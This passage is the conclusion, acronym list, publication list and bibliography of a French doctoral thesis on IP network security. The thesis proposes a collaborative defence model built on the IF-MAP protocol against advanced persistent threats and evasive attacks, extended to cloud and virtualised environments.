de l'environnement traditionnel et également l'environnement virtuel. Il est question
d'analyser les failles de sécurité relatives à l'accès cloud, à celles de la mise en service des
hyperviseurs et des machines virtuelles et leur cloisonnement respectif.
L'objectif principal étant de faire une projection de la proposition de sécurité développée
lors des chapitres précédents vers l'environnement Cloud et virtuel. Chose faite à travers
la dernière sous-section de ce chapitre.

172
CONCLUSION
Le travail de recherche de cette thèse présente une contribution qualitative au domaine
de la sécurité des réseaux IP, surtout que le thème est d'actualité, et traite la problé-
matique des nouvelles techniques d'attaques auxquels font face les réseaux IP et leur
environnement.

Nous avons commencé par rappeler les modèles théoriques du contrôle d'accès en général,
et leur évolution historique, MAC DAC, RBAC et ABAC, ainsi que les politiques de
contrôle d'accès et leur application au niveau des réseaux IP, sous forme de protection
multi-niveau appelé technologie NAC.

Ensuite, il était question de présenter l'état d'art des solutions NAC, comparer leurs
points forts et déceler leurs points faibles pour sortir avec une proposition d'amélioration
sous forme d'un modèle TCP/IP étendu qui prend en charge l'authentication utilisateur
et la conformité de sa machine par rapports aux exigences de sécurité du réseau hôte.
A ce point, nous avons introduit le protocole IF-MAP pour combler le manque de visibilité
sur les événements de sécurité réseau, des diérents composantes clés tel que le serveur
NAC, le pare-feu, l'IDS/IPS et autres.
Ceci nous a amené à proposer une nouvelle modélisation du contrôle d'accès au réseau
construit autour du protocole IF-MAP.

L'étape suivante, était d'analyser les nouvelles attaques et surtout leurs tactiques d'évasion
pour passer inaperçu sous le radar des contrôles actuellement mis en place sur les réseaux,
ces attaques sont conçues en chaines d'une manière très évoluée qui rend leur contourne-
ment assez dicile vue leur large surface d'attaque et leur combinaison.

Ce qui nous a conduit ensuite à proposer un modèle de sécurité collaborative qui permet de
consolider les eorts de protection des diérentes technologies (NAC, Pare-feu, IDS/IPS,
etc) contre ces attaques dites de nouvelle génération qui sont les attques avancées peris-
tentes et celles de type évasive quand a analysé au chapitre quatre, et on a proposé une
solution pour les contrer par le biais du mécanisme IF-MAP détaillé au chapitre 3.

En dernier lieu, nous avons proposé une transposition de cette amélioration de sécurité
réalisée en milieu physique traditionnel vers le domaine du Cloud et de la virtualisation.

Nous terminons ce rapport de thèse en s'arrêtant sur quelques limites des résultats
obtenus, et en projetant en perspective quelques pistes de recherche pour encourager
l'adoption d'IF-MAP, notamment son implémentation dans des environnements réseaux

173
hétérogènes et complexes pour améliorer la visibilité sur le réseau et pouvoir mener des
actions en temps réel contre les nouvelles menaces .

En eet il est interessant d'approfondir quelques axes de recherche relatifs au sujet que
nous proposons sous forme des points suivants :

• adopter IF-MAP dans des infrastructures de grande taille pour pouvoir évaluer sa
performance en temps réel ;

• développer une interface ou des "Framework" pour faciliter l'integration du NAC


avec l'environment virtuel ;

• élaborer des études de cas (usecases) an de comparer le niveau de sécurité avec et
sans l'adoption du protocole IF-MAP ;

• étudier la sécurité intrinsèque d'IF-MAP dans la perspective d'une utilisation en


réseau étendu WAN ;

• proposer un moyen de transport autre que le protocole http/https (SMTP par ex-
emple) pour encapsuler l échange entre les composantes de sécurité de l'écosystème.

174
Liste des Acronymes
A
AAA Authentication Authorization Accounting
ABAC Attribute-based access control
AC2 Elastic Compute Cloud
ACL Access Control List
AD Active Directory
ADSL Asymmetric Digital Subscriber Line
AES Advanced Encryption Standard
AET Advanced Evasion techniques
AMD Advanced Micro Devices
API Application Programming Interface
APT Advanced Persistants Threats
AR Access Requestor
ARP Address Resolution Protocol
ARPANET Advanced Research Projects Agency Network
AWS Amazon Web Service

BLP Bell-Lapadula

C
CA Certication authority
CAM Content Adressable Memory
CERT Computer Emergency Response Team
CIA Condentiality Integrity Availability
CPU Central Processing Unit
CSA Cloud Security Alliance
CTA Cisco Trust Agent

175
D
DAC Discretionary Access Control
DAI Dynamic ARP Inspection
DHCP Dynamic Host Conguration Protocol
DMZ DeMilitarized Zone
DNS Domain Name System
DoS Denial of Service
DSI Direction des Systèmes d'Information
DTE Domain and Type Enforcement

E
EAP Extensible Authentication Protocol
EAP-SIM EAP-Subscriber Identity Module
EAP-TLS Transport Layer Security
EAP-TTLS Tunneled Transport Layer Security
Ebios Expression des Besoins et Identication des Objectifs de Sécurité
EBS Elastic Block Store

F
FTP File Transfer Protocol
FW Firewall

G
GPO Group Policy Object

H
HRU Harrison Ruzzo Ullman
HTTP HyperText Transfer Protocol
HTTPS HyperText Transfer Protocol Secure

I
IaaS Infrastructure as a Service
IBAC Identity Based Access Control
IBM International Business Machines
ICMP Internet Control Message Protocol
ID IDentier
IDP Intrusion Detection and Prevention
IDS Intrusion Detection System
IEEE Institute of Electrical and Electronics Engineers
IF-MAP InterFace for Metadata Access Points
IGMP Internet Group Management Protocol
IP Internet Protocol
IPS Intrusion Prevention System
IPsec Internet Protocol Security

176
K
KSK Key Signing Key

L
L2TP Layer 2 Tunneling Protocol
LAN Local Area Network
LDAP Lightweight Directory Access Protocol
LSM Linux Security Module

M
MAC Mandatory Access Control
MD5 Message Digest 5
MIB Management Information Base
MIC Mandatory Integrity Control
MiTM Man in The Middle
MSRPC Microsoft Remote Procedure Call
MTU Maximum Transmission Unit

N
NAC Network Access Control
NAD Network Access Device
NAM NAC Manager
NAS NAC Access Server
NAT Network Address Translation
NIC Network Information Center
NMAP Network Mapper
NMS Network Managemenent Server
NSA National Security Agency

O
OS Operation System
OSI Open Systems Interconnection

P
PaaS Platform as a Service
PAE Port Access Entity
PAT Port Address Translation
PC Personal Computer
PDA Personal Digital Assistant
PDP Policy Decision Point
PEAP Protected EAP
PEP Policy Enforcement Point
PII Personally Identiable Information
PPP Point to Point Protocol
PPTP Point-to-point tunneling protocol

177
Q
QoS Quality of Service

R
RADIUS Remote Authentication Dial-In User Service
R-BAC Role-Based Access Control
RDP Remote Desktop Protocol
RFC Requests For Comments
RH Ressources Humaines
RSSI responsable de la sécurité des systèmes d'information

S
S3 Simple Storage Service
SaaS Software as a Service
SDK Software Development Kit
SEM Security Envent Managers
SI Systeme d'infomration
SIEM Security Information and Event Management
SLA Service Level Agreement
SMB Server Message Block
SMSI Système de Management des Systèmes d'Information
SMTP Simple Mail Transfer Protocol
SNMP Simple Network Management Protocol
SOAP Simple Object Access Protocol
SPD Security Policy Database
SPM Schemantic Protection Model
SSH Secure Shell
SSL Secure Sockets Layer
SSTP Secure Socket Tunneling Protocol
SQL Structured Query Language

T
TAM Typed Access Matrix
TCG Trusted Computing Group
TCP Transmission Control Protocol
TLS Transport Layer Security
TNC Trusted Network Connect
TPE Trusted Path Execution
TPM Trusted Platform Module
TTL Time To Live

U
UDP User Datagram Protocol
URL Uniform Resource Locator

178
V
VDC Virtual Data Centers
VLAN Virtual LAN
VM Virtual Machine
VPN Virtual Private Network

W
W3C World Wide Web Consortium
WAF Web Application Firewall
WAN Wide area network
WEP Wired-Equivalent-Privacy

X
XML Extensible Markup Language
XSS Cross-site scripting

Z
ZSK Zone Signing Key

179
Liste des Publications
1. N. Moukah, S. Sabir, A. Lakbabi and G. Orhanou: "SIEM Selection Criteria for
an ecient contextual security", The IEEE International Symposium on Networks,
Computers and Communications (ISNCC), Marrakech, Morocco, May 2017.

2. A. Lakbabi, G. Orhanou and S. El Hajji: "Contextual Security with IF-MAP",


International Journal of Security and Its Applications, Vol.8, No.5, pp.427-438,
2014.

3. A. Lakbabi, S. El Hajji, G. Orhanou, K. Chetioui: "New security perspective for


Virtualized plateforms", Proceedings of The 2013 International Conference of In-
formation Security and Internet Engineering, the World Congress on Engineering
2013 (WCE 2013), London, U.K., 3-5 July, 2013, Published in Lecture Notes in
Engineering and Computer Science, Volume 2 LNECS, Pages 1230-1234, 2013.

4. A. Lakbabi, G. Orhanou, S. El Hajji: "Virtualization and Cloud Security", 3ème


édition des Journées Nationales de la Sécurité - JNS3, ENSIAS - Rabat, 26 & 27
Avril, 2013.

5. K. Chetioui, G. Orhanou, S. El Hajji, A. Lakbabi: "DNS Protocol Security -


DNSSEC, DNScurve and DNScrypt Security Features", 3ème édition des Journées
Nationales de la Sécurité - JNS3, ENSIAS - Rabat, 26 & 27 Avril, 2013.

6. A. Lakbabi, G. Orhanou, S. El Hajji: "Network Access Control Technology - Propo-


sition to contain new security challenges", International Journal of Communica-
tions, Network and System Sciences, Vol. 5, No 8, August 2012.

7. K. Chetioui, G. Orhanou, S. El Hajji and A. Lakbabi: "Security of the DNS Protocol


- Implementation and Weaknesses Analyses of DNSSEC", International Journal of
Computer Science Issues, Volume 9, Issue 2, No 3, page 340-345, March 2012.

8. A. Lakbabi, G. Orhanou, S. El Hajji: "VPN IPSEC & SSL Technology - Security


and management point of view", Proceedingof the IEEE 4th-NGN International
Conference on Next Generation Networks & Services (NGNS'12), Algarve, Portugal,
2nd- 4th December, 2012.

180
9. A. Lakbabi, G. Orhanou, S. El Hajji: "Network Access Control & Collaborated
Network Security", Proceeding of the IEEE 3rd International Conference on Mul-
timedia Computing and Systems (ICMCS'12), May 10-12, 2012, Tanger, Morocco,
2012.

10. K. Chetioui, G. Orhanou, S. El Hajji, A. Lakbabi: "Security of the DNS Protocol -


Study and implementation of DNSSEC", Proceeding of the IEEE 3rd International
Conference on Multimedia Computing and Systems (ICMCS'12), May 10-12, 2012,
Tangier, Morocco, 2012.

181
Bibliographie
[1] A. Lakbabi, G. Orhanou, S. El Hajji: "Network Access Control Technology - Propo-
sition to contain new security challenges", International Journal of Communications,
Network and System Sciences, Vol. 5, No 8, August 2012.

[2] A. Lakbabi, G. Orhanou and S. El Hajji: "Contextual Security with IF-MAP", In-
ternational Journal of Security and Its Applications, Vol.8, No.5, pp.427-438, 2014.

[3] A. Lakbabi, G. Orhanou, S. El Hajji: "Network Access Control & Collaborated Net-
work Security", Proceeding of the IEEE 3rd International Conference on Multimedia
Computing and Systems (ICMCS'12), May 10-12, 2012, Tanger, Morocco, 2012.

[4] N. Moukah, S. Sabir, A. Lakbabi and G. Orhanou: "SIEM Selection Criteria for
an ecient contextual security", The IEEE International Symposium on Networks,
Computers and Communications (ISNCC), Marrakech, Morocco, May 2017.

[5] A. Lakbabi, G. Orhanou, S. El Hajji: "Virtualization and Cloud Security", 3ème


édition des Journées Nationales de la Sécurité - JNS3, ENSIAS, Rabat, 26 & 27 Avril,
2013.

[6] A. Lakbabi, S. El Hajji, G. Orhanou, K. Chetioui: "New security perspective for


Virtualized plateforms", Proceedings of The 2013 International Conference of Infor-
mation Security and Internet Engineering, the World Congress on Engineering 2013
(WCE 2013), London, U.K., 3-5 July, 2013, Published in Lecture Notes in Engineering
and Computer Science, Volume 2 LNECS, Pages 1230-1234, 2013.

[7] A. Lakbabi, G. Orhanou and S. El Hajji, "VPN IPSEC & SSL technology Security
and management point of view", Proceeding of the IEEE 4the-NGN International
Conference on Next Generation Networks & Services (NGNS'12), Algarve, Portugal,
2nd- 4th December, 2012.

[8] M. Benantar, "Access Control Systems: Security, Identity Management and Trust
Models", Springer US, 2006

[9] H. Schauer, "Mise en place d'un SMSI et audit de certication", p155-179, 2ème
édition, Eyrolles, 2009

[10] G.Pender-Bey, "The Parkerian Hexad: The CIA Triad Model Expanded", 2011.
http://cs.lewisu.edu/mathcs/msisprojects/papers/georgiependerbey.pdf

182
[11] Hung Le, D. Wang, "Development of a System Framework for Implementation of an
Enhanced Role Based Access Control Model", Proceedings of 3rd USENIX Workshop
on Health Security and Privacy (HealthSec'12), Bellevue, 2012.

[12] Butler W. Lampson, "Protection", Proceedings of the 5th Princeton Conference on


Information Sciences and Systems, p. 437, Princeton, 1971

[13] Harrison M A. "Protection in operating systems", [J]. Acm Sigops Operating Systems
Review, 19(9):14-24, 1976.

[14] X. Dapeng, C. Liang, W. Peng, Z. Peng, "Automatic Security Detection for Access
Control Based on Guided Deep Testing", Journal of Network Computing and Appli-
cations (2016) 1:42-46, Clausius Scientic Press, Canada, 2016.

[15] David F. Ferraiolo and D. Richard Kuhn, Role-Based Access Controls, 1992
http://csrc.nist.gov/rbac/ferraiolo-kuhn-92.pdf

[16] Ravl S. Sandhu, "Role-based Access Control"


http://www.profsandhu.com/articles/advcom/adv_comp_rbac.pdf

[17] Wiley Handbook of Information Security Vol.3, 2006

[18] D. Elliott Bell and Leonard J. La Padula, "Secure Computer Systems: Mathematical
Foundations," MTR?2547, Vol. I, The MITRE Corporation, Bedford, MA, 1 March
1973.

[19] Leonard J. La Padula and D. Elliott Bell, "Secure Computer Systems: A Mathe-
matical Model," MTR-2547, Vol. II, The MITRE Corporation, Bedford, MA, 31 May
1973.

[20] David Elliott, "Looking Back at the Bell-La Padula Model", 2005
https://www.acsac.org/2005/papers/Bell.pdf,

[21] Biba, K. J. "Integrity Considerations for Secure Computer Systems", MTR-3153,


The Mitre Corporation, Avril 1977.

[22] Raphaël Khoury, Nadia Tawbi, "A new Paradigm of Security Policy Enforcement",
2012
http://www.uqac.ca/portfolio/raphaelkhoury/les/2012/07/MonitoringAndPreorders.pdf

[23] Shengli Wu, Amit P. Sheth, John A. Miller, Zongwei Luo, "Authorization and Access
Control of Application Data in Workow Systems", Wright State UniversityCORE
Scholar, Kno.e.sis Publications, The Ohio Center of Excellence in Knowledge-Enabled
Computing (Kno.e.sis), 2002

[24] P. Alexander, L. Pike, P. Loscocco, G. Coker, "Model Checking Distributed Manda-


tory Access Control Policies", ACM Transactions on Information and System Security,
2015

183
[25] J. JENKINS, "Building Trusted Computer Systems Via Unied Software Integrity
Protection", Thèse de doctorat en philosophie, Florida State University College of Arts
and Sciences, 2015

[26] E. T. Sadio, "Contrôle d'accès par les ontologies - Outil de validation automatique
des droits d'accès", Maîtrise en informatique, Université Laval, 2015

[27] M. Zerkouk, "Modèles de contrôle d'accès dynamiques", Thèse de Doctorat, Univer-


sité des Sciences et de la Technologie d'Oran Mohamed Boudiaf, 2015.

[28] T. Murray, "OS Security: COMP9242 - Advanced OS", NICTA, 2015

[29] A. Jonsson, R. Malmgren, "Security and security controls in operating systems - A


quantitative approach", 2015
https://www.ida.liu.se/ TDDD17/lectures/slides/tddd17-syssec-os-security-2015.pdf

[30] S.Vermeulen, "SELinux System Administration", Second Edition Paperback, 2016

[31] P. Krzyzanowski, "Operating System Access Control", Rutgers University, 2017

[32] G. Mark Hardy, SANS Whitepaper, 2013

[33] M. Nakhjiri et M. Nakhjiri, "AAA and Network Security for Mobile Access", Wiley
edition, 2005

[34] "Immunize Networks with Policy Enforcement", Cisco NAC Appliance (Clean Ac-
cess), 2013
http://www.cisco.com/c/en/us/products/security/nac-appliance-clean-
access/index.html

[35] "Reviews for Network Access Control (NAC) Software", Gartner Peerinsights, 2014
https://www.gartner.com/reviews/market/network-access-control

[36] Claudio Neiva Lawrence Orans, "Market Guide for Network Access Control", Gart-
ner, 2016
https://www.gartner.com/doc/3240317/market-guide-network-access-control

[37] C. Sullivan, J. Heary, A. Agrawal, J. Lin, "Cisco NAC Appliance: Enforcing Host
Security with Clean Access", Cisco Press, 2007

[38] "AnyConnect Secure Mobility Client Administrators Guide, Chapter 4 - Conguring


Network Access Server", Cisco, 2014
http://www.cisco.com/c/en/us/td/docs/security/vpn_client/anyconnect/anyconnect
31/administration/guide/anyconnectadmin31/ac04namcong.pdf

[39] Michael Kowal, "Cisco NAC Appliance Server", Cisco Systems


http://www.njedge.net/activities/Cisco/CiscoNACApplianceServer.pdf

184
[40] "RADIUS Attributes Overview", Cisco Systems
http://www.cisco.com/c/en/us/td/docs/ios/12_2/security/conguration/guide/fsecur
_c/scfrdat1.pdf

[41] RADIUS Vendor-Specic Attributes (VSA), arsimon, Liv Community, 2015


https://live.paloaltonetworks.com/t5/Conguration-Articles/RADIUS-Vendor-
Specic-Attributes-VSA/ta-p/60273

[42] Avesh Agarwal, End Point Assessment With (TNC), 2015

[43] "Trusted Network Connect (TNC), Open Standards for Integrity based Network
Access Control and Coordinated Network Security", Trusted Computing Group, 2011
https://www.trustedcomputinggroup.org/wp-content/uploads/TNC_OpenStandards
_April2011.pdf

[44] "Trusted Network Connect Standards for Network Security", Trusted Computing
Group, 2013
https://trustedcomputinggroup.org/wp-content/uploads/TNC-Brieng-2013-12-
10.pdf

[45] "PacketFence: Open source NAC", 2016


https://packetfence.org

[46] SonicWALL admin guide, "MAC-IP Anti-Spoof", 2009


http://software.sonicwall.com/Manual/SonicOS_5.6_MAC_IP_Anti_Spoof_Feature
_Module_Beta.pdf

[47] "Section 2: Threat Identication and Mitigation - Preventing ARP Attacks Using
Dynamic ARP Inspection", CCIE Scv4 technologie labs Threats, 2017
http://labs.ine.com/workbook/view/security-technology-labs/task/preventing-arp-
spoong-using-dai-dynamic-arp-inspection-Mjcx

[48] J. King (CCIE), K. Lauerman (CCSP), "Layer 2 Attacks and Mitigation Techniques
for the Cisco Catalyst 6500 Series", White paper, Cisco Systems, 2016.
http://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-
switches/white_paper_c11_603839.pdf

[49] A. Rengarajan, R. Sugumar and C. Jayakumar, "Secure Verication Technique for


Defending IP Spoong Attacks", The International Arab Journal of Information Tech-
nology VOL. 13, NO. 2, March 2016

[50] "API Attacks",


https://www.cl.cam.ac.uk/ rja14/Papers/SEv2-c18.pdf, 2015

185
[51] "TCG Trusted Network Connect, TNC IF-MAP Binding for SOAP, Specication
Version 2.1, Revision 20, 7 October 2013", Trusted Computing Group Incorporated,
2013
https://trustedcomputinggroup.org/wp-content/uploads/TNC_IFMAP_v2_1r20.pdf

[52] Trusted Computing Group, 2014


http://www.trustedcomputinggroup.org/

[53] The netlter.org project, 2016


https://www.netlter.org/

[54] Snort - Network Detection and Prevention System, 2014


http://www.snort.org/

[55] http://www.esukom.de/deutsch/startseite.7.html, 2014

[56] http://www.esukom.de/deutsch/startseite.7.html, 2014

[57] http://www.esukom.de/deutsch/startseite.7.html, 2014

[58] https://cve.mitre.org

[59] Gabriel Sanchez, "Critical Controls that Sony Should Have Implemented", Sans
Institute, 2015

[60] S. Sullivan (Security Advisor), "Chaîne de contamination", F-secure, 2015

[61] Z. ZAKHOUR (Global CTO - Atos Cybersecurity), "Les attaques APT : une fatalité
?", IT-expert magazine, 2016
http://www.it-expertise.com/les-attaques-apt-une-fatalite

[62] "Preparing the Right Defense for the New Threat Landscape - Advanced Persistent
Threats: A Symantec Perspective", WHITE PAPER: CUTTING THROUGH THE
HYPE, Symantec, 2011

[63] James Scott & Drew Spaniel, "China's Espionage Dynasty - Economic Death by a
Thousand Cuts", Institute for Critical infrastructure Technology (ICIT), 2016

[64] A.Matrosov (Senior Virus Researcher), E. Rodionov (Rootkit Analyst), D. Harley


(Senior Research Fellow), J. Malcho (Head of Virus Laboratory), "Stuxnet Under the
Microscope", ESET, 2010

[65] TrapX Investigative Report - ANATOMY OF ATTACK, "MEDJACK.2 - Hospitals


Under Siege", TrapX Research Labs, 2016

[66] P. Gibbs, "Intrusion Detection Evasion Techniques and Case Studies", SANS Insti-
tute, 2017

186
[67] A. Neville, "IDS/IPS Evasion Techniques", Computer Applications Security and
Forensic Computing, 2012
https://www.redbrick.dcu.ie/ anev/IDS_IPS_Evasion_Techniques.pdf

[68] C. Kruegel, "UNDERSTANDING AND FIGHTING EVASIVE MALWARE", RSA


Conference, Europe 2013, 2013.

[69] NIST: National Institute of Standards and Technology https://www.nist.gov/

[70] http://www.markess.fr

187